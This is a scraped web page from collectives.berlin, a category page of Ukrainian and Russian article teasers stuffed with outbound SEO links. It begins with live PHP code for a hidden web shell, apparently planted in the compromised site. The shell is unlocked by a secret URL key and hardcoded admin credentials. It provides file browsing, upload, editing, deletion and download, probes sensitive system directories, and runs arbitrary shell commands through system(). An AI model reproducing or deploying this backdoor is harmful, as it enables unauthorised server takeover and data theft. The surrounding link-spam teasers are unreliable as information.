if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 32 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Медіація в цивільних спорах: досвід застосування та перспективи

    Медіація в цивільних спорах є важливим інститутом альтернативного вирішення конфліктів, який набуває все більшої популярності в Україні. Цей процес передбачає залучення третьої нейтральної сторони – медіатора, https://researchguide.in.ua/ який допомагає сторонам знайти компроміс і досягти взаємоприйнятного рішення без звернення до суду. Досвід застосування медіації в Україні свідчить про її ефективність та перспективи розвитку. По-перше, медіація дозволяє…

    Click or not…

  • Візуальна журналістика: сила фото та відео в новинах

    Візуальна журналістика стала невід’ємною частиною сучасних медіа, https://medialab.in.ua адже в умовах інформаційного перевантаження саме візуальні елементи здатні привернути увагу читача та донести важливу інформацію в зручному для сприйняття форматі. У цій статті ми розглянемо, як фотографії та відео впливають на сприйняття новин, їхню ефективність та роль у формуванні громадської думки. По-перше, візуальні елементи, такі як…

    Click or not…

  • Ветеринарний контроль на фермі: планові огляди

    Ветеринарний контроль на фермі є важливим аспектом забезпечення здоров’я тварин, продуктивності та безпеки харчових продуктів. Планові огляди є невід’ємною частиною цього процесу, petexpert.net.ua оскільки вони дозволяють виявити потенційні проблеми на ранніх стадіях, запобігаючи епізоотіям та забезпечуючи високий рівень добробуту тварин. Планові огляди на фермі проводяться регулярно, зазвичай раз на квартал або в залежності від специфіки…

    Click or not…

  • Найкращі місця для кемпінгу в Україні

    Кемпінг в Україні стає все більш популярним способом відпочинку на природі. Наші мальовничі пейзажі, різноманітність природних зон та наявність численних національних парків роблять країну ідеальним місцем для тих, хто любить активний відпочинок. У цьому звіті ми розглянемо найкращі місця для кемпінгу в Україні, де можна насолодитися природою, https://wildinsight.com.ua відпочити та зарядитися енергією. Одним з найпопулярніших…

    Click or not…

  • Пресреліз, який працює: як зацікавити редакцію

    Пресреліз є одним із найважливіших інструментів комунікації для компаній, організацій та окремих осіб, які прагнуть донести свої новини до широкої аудиторії через медіа. Однак, щоб пресреліз дійсно працював і привертав увагу редакцій, https://newsguide.in.ua/ потрібно дотримуватись певних правил і стратегій. По-перше, важливо зрозуміти, що редактори та журналісти щодня отримують величезну кількість пресрелізів. Тому, щоб ваш пресреліз…

    Click or not…

  • Как выбрать наряд для вечеринки без потери стиля и комфорта

    Выбирайте оттенки, соответствующие теме события. Если мероприятие имеет определённую цветовую палитру, это отличный способ продемонстрировать своё чувство стиля и уважение к организаторам. Привнесите в образ цвет, casino-brain.com соответствующий запросам мероприятия, чтобы выделяться на фоне остальных. Обратите внимание на местоположение и формат торжества. Для открытых площадок или пляжных вечеринок хорошо подойдут легкие и воздушные ткани, в…

    Click or not…

  • Найкращі голи тижня в клубних єврокубках за останні дні

    Перегляньте добірку із захоплюючими митями, які сталися в матчах європейських клубів. Під час останніх ігор ми стали свідками вражаючих уколів, https://asport.com.ua/ що вразили не лише вболівальників, але й експертів. Кожен із цих ударів демонструє технічну майстерність та творчість футболістів, вказуючи на відмінні комбінації та стратегічні рішення, які варто проаналізувати. Серед безлічі моментів, якими можна пишатися,…

    Click or not…

  • Спокійні змагання без ризику стресу та травм для всіх учасників

    Для досягнення успіху у спортивних активностях важливо зосередитися на розумному підході до підготовки та участі. Вибір дисципліни з низьким рівнем конкуренції, наприклад, аматорського бігу чи плавання, допоможе уникнути тиску. Встановіть досяжні цілі, наприклад, покращити особистий рекорд, in.ua замість того щоб конкурувати з іншими. Команда підтримки може бути ключовим фактором для підвищення впевненості. Запросіть друзів чи…

    Click or not…

  • Как защитить детей от зимних заболеваний и укрепить иммунитет

    Одной из важных мер для предотвращения простудных недомоганий является поддержание комфортной температуры в помещениях. Оптимальный режим – 20-22 градуса по Цельсию. Избегайте перегрева, https://eu-apteka.com.ua так как это может привести к ослаблению иммунной системы. Регулярная физическая активность на свежем воздухе – ещё один способ укрепления организма. Однако стоит учитывать погодные условия: для прогулок выбирайте часы, когда…

    Click or not…

  • Пропаганда в медіа: ознаки та способи розпізнавання

    Пропаганда в медіа є важливим аспектом сучасного інформаційного середовища. Вона може мати значний вплив на свідомість людей, формуючи їхні погляди, https://journaljournal.net.ua переконання та поведінку. У цьому звіті ми розглянемо основні ознаки пропаганди в медіа, а також способи її розпізнавання. По-перше, важливо визначити, що таке пропаганда. Це систематичне поширення інформації, що має на меті вплинути на…

    Click or not…